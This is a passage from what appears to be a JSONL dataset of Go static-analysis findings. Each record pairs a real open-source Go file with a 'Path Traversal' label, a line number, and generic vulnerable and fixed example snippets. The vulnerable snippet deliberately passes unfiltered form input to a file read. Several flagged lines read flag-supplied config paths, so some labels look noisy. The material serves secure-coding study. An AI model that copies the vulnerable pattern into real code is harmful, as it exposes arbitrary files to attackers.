Broadcast Flag\n//Output: Length of Signed Message and Bool(Verified / Not)\n//Function: Verrify Sign\nfunc verifyCPSign(suite proof.Suite, src_cname string, data []byte) (uint32, bool) {\n\n //Read Source Public Key from file\n in, _ := ioutil.ReadFile(\"schnorr/public/\" + src_cname + \".pub\")\n buf := &Schnorrkey.Pub{}\n proto.Unmarshal(in, buf)\n\n y := bytes.NewReader(buf.Y) //Source public key in bytes\n src_pub := suite.Point() //Source public key\n src_pub.UnmarshalFrom(y)\n\n //Parse Source CP Signed Message\n ls := binary.BigEndian.Uint32(data[5:9]) //Length of Signed Message\n msg := data[9:9+ls] //Signed Message\n\n //Verify Signed Message\n err := schnorr.Verify(suite, src_pub, data[9+ls:], msg)\n\n var f bool //Flag to be returned\n\n if err == nil {\n\n f = true\n\n } else {\n\n f = false\n }\n\n return ls, f\n}\n\n//Input: Points, Points\n//Output: Shuffled Noise\n//Function: Shuffle Noise\nfunc shuffleNoise(x, y [2]kyber.Point, Y kyber.Point) ([2]kyber.Point, [2]kyber.Point, proof.Prover) {\n\n suite := edwards25519.NewBlakeSHA256Ed25519() //Cipher suite\n rand := suite.RandomStream() //For Randomness\n\n xbar, ybar, proof := shuffle.Biffle(suite, nil, Y, x, y, rand) //Shuffle Noise Vectors\n\n return xbar, ybar, proof\n}\n\n//Input: Client Socket\n//Output: Common Name\n//Function: Parse Common Name from Certificate\nfunc parseCommonName(conn net.Conn) string {\n var com_name string //Common Name\n tlscon, ok := conn.(*tls.Conn)\n\n //If TLS connection\n if ok {\n tlscon.Handshake()\n for _, v := range tlscon.ConnectionState().PeerCertificates {\n com_name = v.Subject.CommonName //Get Common Name\n }\n }\n\n return com_name\n}\n\n//rerandomizeProof computes a new NIZK proof for the scalars s and q with\n//respect to base points A and B and publicly known points G and H. It therefore randomly selects commitments t1 and t2\n//and then computes the challenge c = H(q(sG+A),q(sH+B),t1A+t2G,t1B+t2H) and responses r1 = qc+t1 and r2 = sqc + t2.\n//Besides the proof, this function also returns the re-randomized and re-encrypted base points A1 = q(sG+A)\n//and B1 = q(sG+B).\nfunc rerandomizeProof(suite proof.Suite, A, B, G, H kyber.Point, s, q kyber.Scalar) (proof *ReRandomizeProof, A1 kyber.Point, B1 kyber.Point, err error) {\n\n // Re-Encrypt Base Points\n A1 = suite.Point().Add(A, suite.Point().Mul(s, G))\n B1 = suite.Point().Add(B, suite.Point().Mul(s, H))\n\n // Re-Randomize Base Points\n A1.Mul(q, A1)\n B1.Mul(q, B1)\n\n // Commitment\n t1 := suite.Scalar().Pick(suite.RandomStream())\n t2 := suite.Scalar().Pick(suite.RandomStream())\n T1 := suite.Point().Mul(t1, A)\n T2 := suite.Point().Mul(t1, B)\n T1.Add(T1, suite.Point().Mul(t2, G))\n T2.Add(T2, suite.Point().Mul(t2, H))\n\n // Challenge\n h := suite.Hash()\n A1.MarshalTo(h)\n B1.MarshalTo(h)\n T1.MarshalTo(h)\n T2.MarshalTo(h)\n cb := h.Sum(nil)\n c := suite.Scalar().Pick(suite.XOF(cb))\n\n // Response\n r1 := suite.Scalar().Mul(q, c)\n r2 := suite.Scalar().Mul(s, r1)\n r1 = r1.Add(r1, t1)\n r2 = r2.Add(r2, t2)\n\n return &ReRandomizeProof{c, r1, r2, T1, T2}, A1, B1, nil\n}\n\n// ReRandomizeProofBatch computes lists of NIZK re-randomize proofs and of\n// encrypted base points A1 and B1. Note that the challenge is computed over all\n// input values.\nfunc rerandomizeProofBatch(suite proof.Suite, A, B []kyber.Point, G, H kyber.Point, s, q []kyber.Scalar) (proof []*ReRandomizeProof, A1 []kyber.Point, B1 []kyber.Point, err error) {\n if len(A) != len(B) || len(q) != len(s) || len(A) != len(s) {\n return nil, nil, nil, errors.New(\"inputs of different lengths\")\n }\n\n n := len(s)\n proofs := make([]*ReRandomizeProof, n)\n t1 := make([]kyber.Scalar, n)\n t2 := make([]kyber.Scalar, n)\n T1 := make([]kyber.Point, n)\n T2 := make([]kyber.Point, n)\n A1 = make([]kyber.Point, n)\n B1 = make([]kyber.Point, n)\n\n for i := 0; i < n; i++ {\n\n // Re-Encrypt Base Points\n A1[i] = suite.Point().Add(A[i], suite.Point().Mul(s[i], G))\n B1[i] = suite.Point().Add(B[i], suite.Point().Mul(s[i], H))\n\n // Re-Randomize Base Points\n A1[i].Mul(q[i], A1[i])\n B1[i].Mul(q[i], B1[i])\n\n // Commitment\n t1[i] = suite.Scalar().Pick(suite.RandomStream())\n t2[i] = suite.Scalar().Pick(suite.RandomStream())\n T1[i] = suite.Point().Mul(t1[i], A[i])\n T2[i] = suite.Point().Mul(t1[i], B[i])\n T1[i].Add(T1[i], suite.Point().Mul(t2[i], G))\n T2[i].Add(T2[i], suite.Point().Mul(t2[i], H))\n }\n\n // Challenge\n h := suite.Hash()\n for _, i := range A1 {\n i.MarshalTo(h)\n }\n for _, i := range B1 {\n i.MarshalTo(h)\n }\n for _, i := range T1 {\n i.MarshalTo(h)\n }\n for _, i := range T2 {\n i.MarshalTo(h)\n }\n cb := h.Sum(nil)\n c := suite.Scalar().Pick(suite.XOF(cb))\n\n // Responses\n for i := 0; i < n; i++ {\n r1 := suite.Scalar().Mul(q[i], c)\n r2 := suite.Scalar().Mul(s[i], r1)\n r1 = r1.Add(r1, t1[i])\n r2 = r2.Add(r2, t2[i])\n proofs[i] = &ReRandomizeProof{c, r1, r2, T1[i], T2[i]}\n }\n\n return proofs, A1, B1, nil\n}\n\n\n// Verify examines the validity of the NIZK re-randomize proof.\n// The proof is valid if the following two conditions hold:\n// r1A + r2G == cA1 + T1\n// r1B + r2H == cB1 + T2\nfunc (p *ReRandomizeProof) Verify(suite proof.Suite, A, B, G, H kyber.Point, A1, B1 kyber.Point) error {\n r1A := suite.Point().Mul(p.R1, A)\n r1B := suite.Point().Mul(p.R1, B)\n r2G := suite.Point().Mul(p.R2, G)\n r2H := suite.Point().Mul(p.R2, H)\n cA1 := suite.Point().Mul(p.C, A1)\n cB1 := suite.Point().Mul(p.C, B1)\n a := suite.Point().Add(r1A, r2G)\n b := suite.Point().Add(cA1, p.T1)\n c := suite.Point().Add(r1B, r2H)\n d := suite.Point().Add(cB1, p.T2)\n\n if !(a.Equal(b) && c.Equal(d)) {\n return errors.New(\"invalid proof\")\n }\n\n return nil\n}\n\n//Function: Shutdown CP gracefully\nfunc shutdownCP() {\n\n close(finish) //Quit\n\n ln.Close() //Shutdown CP gracefully\n}\n\n//Input: Party list, Party name\n//Output: Boolean output\n//Function: Check if party in party list\nfunc contains(pl []string, p string) bool {\n\n for _, party := range pl {\n\n if party == p {\n\n return true\n }\n }\n\n return false\n}\n\n//Input: Error\n//Function: Check Error\nfunc checkError(err error) {\n\n if err != nil {\n\n logging.Error.Println(err.Error())\n\tos.Exit(1)\n }\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 111, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "69226ea3c75044932399291f6a9519c47e14d706e3f0ef947393d5a9d358f6bd", "license": {"spdx": ["BSD-3-Clause"], "repo": "daixijun/nacos-initial", "path": "main.go", "repo_head_hexsha": "b626ca869cd02f6b11e97f09606f29a048da5b71", "stack_hexsha": "28a428e5f0a4cf34865aaa940dcd39a3600ba9d9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 72, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\n\t\"github.com/nacos-group/nacos-sdk-go/clients\"\n\t\"github.com/nacos-group/nacos-sdk-go/common/constant\"\n\t\"github.com/nacos-group/nacos-sdk-go/vo\"\n)\n\nvar (\n\tendpoint string\n\tnamespaceId string\n\taccessKey string\n\tsecretKey string\n\tdataId string\n\tgroup string\n\toutput string\n\topenKMS bool\n\tregionId string\n)\n\nfunc init() {\n\tflag.StringVar(&endpoint, \"endpoint\", \"acm.aliyun.com\", \"Nacos/ACM 服务器地址\")\n\tflag.StringVar(&namespaceId, \"ns\", \"\", \"Nacos/ACM 命名空间ID\")\n\tflag.StringVar(&accessKey, \"ak\", \"\", \"阿里云RAM子账号 accessKey\")\n\tflag.StringVar(&secretKey, \"sk\", \"\", \"阿里云RAM子账号 secretKey\")\n\tflag.StringVar(&dataId, \"dataId\", \"\", \"Nacos/ACM dataId\")\n\tflag.StringVar(&group, \"group\", \"DEFAULT_GROUP\", \"配置组\")\n\tflag.StringVar(&output, \"o\", \"stdout\", \"输出配置到终端或者文件\")\n\tflag.BoolVar(&openKMS, \"kms\", false, \"开启KMS自动解密配置内容\")\n\tflag.StringVar(®ionId, \"regionId\", \"cn-hangzhou\", \"KMS所在区域\")\n\tflag.Parse()\n}\n\nfunc main() {\n\n\tclientConfig := constant.ClientConfig{\n\t\tEndpoint: endpoint + \":8080\",\n\t\tNamespaceId: namespaceId,\n\t\tAccessKey: accessKey,\n\t\tSecretKey: secretKey,\n\t\tTimeoutMs: 5 * 1000,\n\t\tListenInterval: 30 * 1000,\n\t\tOpenKMS: openKMS,\n\t\tRegionId: regionId,\n\t}\n\n\tconfigClient, err := clients.CreateConfigClient(map[string]interface{}{\n\t\t\"clientConfig\": clientConfig,\n\t})\n\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"初始化客户端失败: %s\\n\", err.Error()))\n\t}\n\n\t// 获取配置\n\tcontent, err := configClient.GetConfig(vo.ConfigParam{\n\t\tDataId: dataId,\n\t\tGroup: group},\n\t)\n\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"获取配置失败: %s\\n\", err.Error()))\n\t}\n\n\tif output == \"stdout\" {\n\t\tfmt.Printf(\"Get config:\\n%s\\n\", content)\n\t} else {\n\t\terr = ioutil.WriteFile(output, []byte(content), 0644)\n\t\tif err != nil {\n\t\t\tpanic(fmt.Sprintf(\"写配置文件失败: %s\\n\", err.Error()))\n\t\t}\n\t\tfmt.Println(\"配置成功写入文件: \", output)\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 72, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "f607ba935480a1647980b54939957d801629150fe15b92330d3b6550e3054f3d", "license": {"spdx": ["MIT"], "repo": "yp-engineering/docker-event-hook", "path": "docker-events-hook.go", "repo_head_hexsha": "c6b31b080e5ec8227ee7c911a5d840e543123ff3", "stack_hexsha": "3c16e976db96b611b1024bd9e5f8c00538d2bcd5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 70, "entireCode": "// Copyright 2015 YP LLC.\n// Use of this source code is governed by an MIT-style\n// license that can be found in the LICENSE file\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"flag\"\n\t\"io/ioutil\"\n\t\"net/rpc\"\n\t\"net/rpc/jsonrpc\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/fsouza/go-dockerclient\"\n\t\"github.com/golang/glog\"\n\t\"github.com/natefinch/pie\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nconst (\n\t_ = iota\n\tverbose\n\tdebug\n)\n\ntype DockerConfig struct {\n\tEndpoint string\n\tVersion string\n}\n\ntype Config struct {\n\tPlugins []string\n\tDocker DockerConfig\n}\n\nvar defaultConfig = `\nplugins:\n - ./examples/echo\ndocker:\n endpoint: unix:///var/run/docker.sock\n version: 1.21\n`\nvar (\n\tconfig Config\n\tconfigFile string\n\tdockerClient *docker.Client\n\tplugins map[*rpc.Client]string\n)\n\nfunc init() {\n\tflag.StringVar(&configFile, \"config\", configFile, \"path to overiding config.yml file\")\n\tflag.Parse()\n\n\tparseConfig()\n\tdockerClient = newDockerClient()\n\tplugins = createPlugins()\n}\n\nfunc fatal(err error) {\n\tif err != nil {\n\t\tglog.Fatalf(\"fatal: %s\", err)\n\t}\n}\n\nfunc parseConfig() {\n\tvar toLoad []byte\n\tif configFile != \"\" {\n\t\tvar err error\n\t\ttoLoad, err = ioutil.ReadFile(configFile)\n\t\tfatal(err)\n\t} else {\n\t\ttoLoad = []byte(defaultConfig)\n\t}\n\n\tfatal(yaml.Unmarshal(toLoad, &config))\n\n\tif glog.V(debug) {\n\t\tglog.Infof(\"config: %#v\", config)\n\t}\n}\n\nfunc newDockerClient() *docker.Client {\n\tclient, err := docker.NewVersionedClient(config.Docker.Endpoint, config.Docker.Version)\n\tfatal(err)\n\tif glog.V(debug) {\n\t\tglog.Infof(\"docker client: %#v\", client)\n\t}\n\treturn client\n}\n\nfunc createPlugins() map[*rpc.Client]string {\n\tplugins = make(map[*rpc.Client]string)\n\tfor _, plugin := range config.Plugins {\n\t\tplug, err := pie.StartProviderCodec(jsonrpc.NewClientCodec, os.Stderr, plugin)\n\t\tfatal(err)\n\t\tplugins[plug] = plugin\n\t}\n\tif glog.V(debug) {\n\t\tglog.Infof(\"plugins: %#v\", plugins)\n\t}\n\treturn plugins\n}\n\nfunc dockerInspect(event *docker.APIEvents) (*docker.Container, error) {\n\tstatus := event.Status\n\tif status == \"delete\" || status == \"destroy\" || status == \"untag\" {\n\t\t// No error, just can't inspect them\n\t\treturn nil, nil\n\t} else {\n\t\treturn dockerClient.InspectContainer(event.ID)\n\t}\n}\n\nfunc marshalJson(d interface{}) []byte {\n\tdata, err := json.Marshal(d)\n\tif err != nil {\n\t\tglog.Errorf(\"couldn't marshal to JSON: %#v\", data)\n\t\treturn nil\n\t}\n\treturn data\n}\n\nfunc eventInfo(event *docker.APIEvents, name string, inspect *docker.Container, result string, call string) {\n\tif glog.V(debug) {\n\t\tlogMessage := `{\"Event\":%s,\"Plugin\":%#v,\"Container\":%s,\"Result\":%#v,\"Plugin Call\":%#v}`\n\t\tglog.Infof(logMessage, marshalJson(event), name, marshalJson(inspect), result, call)\n\t} else {\n\t\tvar image string\n\t\tif inspect == nil {\n\t\t\timage = \"\"\n\t\t} else {\n\t\t\timage = inspect.Config.Image\n\t\t}\n\t\tif glog.V(verbose) {\n\t\t\tlogMessage := `{\"Event\":{\"Id\":%#v,\"Status\":%#v},\"Plugin\":%#v,\"Container\":%#v,\"Result\":%#v,\"Plugin Call\":%#v}`\n\t\t\tglog.Infof(logMessage, event.ID, event.Status, name, image, result, call)\n\t\t} else {\n\t\t\tlogMessage := `{\"Event\":{\"Status\":%#v},\"Plugin\":%#v,\"Container\":%#v}`\n\t\t\tglog.Infof(logMessage, event.Status, name, image)\n\t\t}\n\t}\n}\n\n// Decision switch for what type of events we receive from daemon\nfunc handleEvent(event *docker.APIEvents) {\n\tfor plugin, name := range plugins {\n\t\tgo func() {\n\t\t\tvar result string\n\t\t\tvar pluginError error\n\n\t\t\tinspect, err := dockerInspect(event)\n\t\t\tif err != nil {\n\t\t\t\tglog.Errorf(\"couldn't inspect event: %#v\", event)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tcall := \"Api.\" + strings.Title(event.Status)\n\t\t\tswitch event.Status {\n\t\t\tcase \"attach\":\n\t\t\t\tpluginError = plugin.Call(call, inspect, &result)\n\t\t\tcase \"create\":\n\t\t\t\tpluginError = plugin.Call(call, inspect, &result)\n\t\t\tcase \"delete\":\n\t\t\t\tpluginError = plugin.Call(call, event, &result)\n\t\t\tcase \"destroy\":\n\t\t\t\tpluginError = plugin.Call(call, event, &result)\n\t\t\tcase \"die\":\n\t\t\t\tpluginError = plugin.Call(call, inspect, &result)\n\t\t\tcase \"kill\":\n\t\t\t\tpluginError = plugin.Call(call, inspect, &result)\n\t\t\tcase \"resize\":\n\t\t\t\tpluginError = plugin.Call(call, inspect, &result)\n\t\t\tcase \"start\":\n\t\t\t\tpluginError = plugin.Call(call, inspect, &result)\n\t\t\tcase \"untag\":\n\t\t\t\tpluginError = plugin.Call(call, event, &result)\n\t\t\tdefault:\n\t\t\t\tglog.Errorf(\"unknown event: %v\", event)\n\t\t\t}\n\t\t\teventInfo(event, name, inspect, result, call)\n\n\t\t\tif pluginError != nil {\n\t\t\t\tglog.Errorf(\"plugin error: %#v\", pluginError)\n\t\t\t}\n\t\t}()\n\t}\n}\n\nfunc main() {\n\teventChannel := make(chan *docker.APIEvents)\n\tdockerClient.AddEventListener(eventChannel)\n\tfor {\n\t\thandleEvent(<-eventChannel)\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 70, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "0b7dc1f869d3e20092468669e8090ab90028e53f512b6d7bd39fd8a6ff028d89", "license": {"spdx": ["Apache-2.0"], "repo": "elgnay/klusterlet-addon-controller", "path": "test/e2e/open_cluster_management_e2e_suite_test.go", "repo_head_hexsha": "c19695aef03a2434bdd4e10584a043b03733ca79", "stack_hexsha": "0f7af3d04d74a34614bd111ec9f4cc0676427544", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 117, "entireCode": "// Copyright (c) Red Hat, Inc.\n// Copyright Contributors to the Open Cluster Management project\n\n// +build e2e\n\npackage e2e\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\tyaml \"gopkg.in/yaml.v2\"\n\t\"k8s.io/klog\"\n\n\t. \"github.com/onsi/ginkgo\"\n\t\"github.com/onsi/ginkgo/reporters\"\n\t. \"github.com/onsi/gomega\"\n\tlibgoapis \"github.com/open-cluster-management/library-e2e-go/pkg/apis\"\n\tlibgooptions \"github.com/open-cluster-management/library-e2e-go/pkg/options\"\n\tlibgoproviders \"github.com/open-cluster-management/library-e2e-go/pkg/providers\"\n\t\"github.com/sclevine/agouti\"\n)\n\nvar kubeadminUser string\nvar kubeadminCredential string\nvar reportFile string\n\nvar optionsFile string\nvar clusterDeploy libgoapis.ClusterDeploy\nvar installConfig libgoapis.InstallConfig\nvar testOptionsContainer libgooptions.TestOptionsContainer\nvar testOptions libgooptions.TestOptions\n\nvar testUITimeout time.Duration\nvar testHeadless bool\nvar testIdentityProvider int\n\nvar ownerPrefix string\n\nvar installConfigAWS, installConfigGCP, installConfigAzure string\nvar hiveClusterName, hiveGCPClusterName, hiveAzureClusterName string\n\nconst charset = \"abcdefghijklmnopqrstuvwxyz\" +\n\t\"0123456789\"\n\nvar seededRand *rand.Rand = rand.New(\n\trand.NewSource(time.Now().UnixNano()))\n\nfunc StringWithCharset(length int, charset string) string {\n\tb := make([]byte, length)\n\tfor i := range b {\n\t\tb[i] = charset[seededRand.Intn(len(charset))]\n\t}\n\treturn string(b)\n}\n\nfunc randString(length int) string {\n\treturn StringWithCharset(length, charset)\n}\n\nfunc init() {\n\tklog.SetOutput(GinkgoWriter)\n\tklog.InitFlags(nil)\n\n\tflag.StringVar(&kubeadminUser, \"kubeadmin-user\", \"kubeadmin\", \"Provide the kubeadmin credential for the cluster under test (e.g. -kubeadmin-user=\\\"xxxxx\\\").\")\n\tflag.StringVar(&kubeadminCredential, \"kubeadmin-credential\", \"\", \"Provide the kubeadmin credential for the cluster under test (e.g. -kubeadmin-credential=\\\"xxxxx-xxxxx-xxxxx-xxxxx\\\").\")\n\tflag.StringVar(&reportFile, \"report-file\", \"results.xml\", \"Provide the path to where the junit results will be printed.\")\n\n\tflag.StringVar(&optionsFile, \"options\", \"\", \"Location of an \\\"options.yaml\\\" file to provide input for various tests\")\n\n}\n\nfunc TestOpenClusterManagementE2e(t *testing.T) {\n\tRegisterFailHandler(Fail)\n\tjunitReporter := reporters.NewJUnitReporter(reportFile)\n\tRunSpecsWithDefaultAndCustomReporters(t, \"OpenClusterManagementE2E Suite\", []Reporter{junitReporter})\n}\n\nvar agoutiDriver *agouti.WebDriver\n\nvar _ = BeforeSuite(func() {\n\n\tinitVars()\n\n\t// Choose a WebDriver:\n\t//agoutiDriver = agouti.PhantomJS()\n\t// agoutiDriver = agouti.Selenium()\n\tagoutiDriver = agouti.ChromeDriver()\n\n\tExpect(agoutiDriver.Start()).To(Succeed())\n})\n\nvar _ = AfterSuite(func() {\n\t//Expect(agoutiDriver.Stop()).To(Succeed())\n})\n\nfunc initVars() {\n\n\t// default ginkgo test timeout 30s\n\t// increased from original 10s\n\ttestUITimeout = time.Second * 30\n\n\tif optionsFile == \"\" {\n\t\toptionsFile = os.Getenv(\"OPTIONS\")\n\t\tif optionsFile == \"\" {\n\t\t\toptionsFile = \"resources/options.yaml\"\n\t\t}\n\t}\n\n\tklog.V(1).Infof(\"options filename=%s\", optionsFile)\n\n\tdata, err := ioutil.ReadFile(optionsFile)\n\tif err != nil {\n\t\tklog.Errorf(\"--options error: %v\", err)\n\t}\n\tExpect(err).NotTo(HaveOccurred())\n\n\tfmt.Printf(\"file preview: %s \\n\", string(optionsFile))\n\n\terr = yaml.Unmarshal([]byte(data), &testOptionsContainer)\n\tif err != nil {\n\t\tklog.Errorf(\"--options error: %v\", err)\n\t}\n\n\ttestOptions = testOptionsContainer.Options\n\n\t// default Headless is `true`\n\t// to disable, set Headless: false\n\t// in options file\n\tif testOptions.Headless == \"\" {\n\t\ttestHeadless = true\n\t} else {\n\t\tif testOptions.Headless == \"false\" {\n\t\t\ttestHeadless = false\n\t\t} else {\n\t\t\ttestHeadless = true\n\t\t}\n\t}\n\n\t// OwnerPrefix is used to help identify who owns deployed resources\n\t// If a value is not supplied, the default is OS environment variable $USER\n\tif testOptions.OwnerPrefix == \"\" {\n\t\townerPrefix = os.Getenv(\"USER\")\n\t\tif ownerPrefix == \"\" {\n\t\t\townerPrefix = \"ginkgo\"\n\t\t}\n\t} else {\n\t\townerPrefix = testOptions.OwnerPrefix\n\t}\n\tklog.V(1).Infof(\"ownerPrefix=%s\", ownerPrefix)\n\n\t// identity provider can either be 0 or 1\n\t// with 0 for kube:admin or `kubeadmin` and\n\t// 1 for any other use, ie. user defined users\n\t// default to `kubeadmin` logins, otherwise\n\t// select the second option\n\ttestIdentityProvider = 0\n\tif kubeadminUser != \"kubeadmin\" {\n\t\ttestIdentityProvider = 1\n\t}\n\n\t// if testOptions.ImageRegistry.Server != \"\" {\n\t// \tregistry = testOptions.ImageRegistry.Server\n\t// \tregistryUser = testOptions.ImageRegistry.User\n\t// \tregistryPassword = testOptions.ImageRegistry.Password\n\t// } else {\n\t// \tklog.Warningf(\"No `imageRegistry.server` was included in the options.yaml file. Ignoring any tests that require an ImageRegistry.\")\n\t// }\n\n\thiveClusterName = ownerPrefix + \"-aws-\" + randString(4)\n\thiveGCPClusterName = ownerPrefix + \"-gcp-\" + randString(4)\n\thiveAzureClusterName = ownerPrefix + \"-azure-\" + randString(4)\n\n\tvar installerConfigAWS = libgoproviders.InstallerConfigAWS{Name: hiveClusterName, BaseDnsDomain: testOptions.Connection.Keys.AWS.BaseDnsDomain, SSHKey: testOptions.Connection.SSHPublicKey, Region: testOptions.Connection.Keys.AWS.Region}\n\tinstallConfigAWS, err = libgoproviders.GetInstallConfigAWS(installerConfigAWS)\n\tif err != nil {\n\t\tklog.Errorf(\"-config AWS error: %v\", err)\n\t}\n\tExpect(err).NotTo(HaveOccurred())\n\n\tvar installerConfigGCP = libgoproviders.InstallerConfigGCP{Name: hiveGCPClusterName, BaseDnsDomain: testOptions.Connection.Keys.GCP.BaseDnsDomain, SSHKey: testOptions.Connection.SSHPublicKey, ProjectID: testOptions.Connection.Keys.GCP.ProjectID, Region: testOptions.Connection.Keys.GCP.Region}\n\tinstallConfigGCP, err = libgoproviders.GetInstallConfigGCP(installerConfigGCP)\n\tif err != nil {\n\t\tklog.Errorf(\"-config GCP error: %v\", err)\n\t}\n\tExpect(err).NotTo(HaveOccurred())\n\n\tvar installerConfigAzure = libgoproviders.InstallerConfigAzure{Name: hiveAzureClusterName, BaseDnsDomain: testOptions.Connection.Keys.Azure.BaseDnsDomain, SSHKey: testOptions.Connection.SSHPublicKey, BaseDomainRGN: testOptions.Connection.Keys.Azure.BaseDomainRGN, Region: testOptions.Connection.Keys.Azure.Region}\n\tinstallConfigAzure, err = libgoproviders.GetInstallConfigAzure(installerConfigAzure)\n\tif err != nil {\n\t\tklog.Errorf(\"-config Azure error: %v\", err)\n\t}\n\tExpect(err).NotTo(HaveOccurred())\n\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 117, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "babe82c763e91a03fbd334e32d60fd3c7f5de3e6e920aed7bed893490f2a3bba", "license": {"spdx": ["MIT"], "repo": "LegendaryB/go-wake-server", "path": "main.go", "repo_head_hexsha": "895a2fe02355ad5d40e7624982f0aba45b7faa0d", "stack_hexsha": "c4ba8732d0478cd9ed371d269447afbc0c8b8147", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 60, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"regexp\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/linde12/gowol\"\n)\n\ntype Broadcast struct {\n\tAddress string `json:\"address\"`\n\tPort string `json:\"port\"`\n}\n\ntype Configuration struct {\n\tPort string `json:\"port\"`\n\tMACRegexPattern string `json:\"mac_regex_pattern\"`\n\tBroadcast Broadcast `json:\"broadcast\"`\n}\n\nfunc sendWakeOnLAN(mac string, broadcast Broadcast) error {\n\tpacket, err := gowol.NewMagicPacket(mac)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn packet.SendPort(broadcast.Address, broadcast.Port)\n}\n\nfunc WakeOnLANHandler(conf *Configuration) func(http.ResponseWriter, *http.Request) {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tparams := mux.Vars(r)\n\t\tmac := params[\"mac\"]\n\n\t\tmatch, _ := regexp.MatchString(conf.MACRegexPattern, mac)\n\n\t\tif !match {\n\t\t\thttp.Error(w, mac+\" is not a valid MAC address!\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\terr := sendWakeOnLAN(mac, conf.Broadcast)\n\n\t\tif err != nil 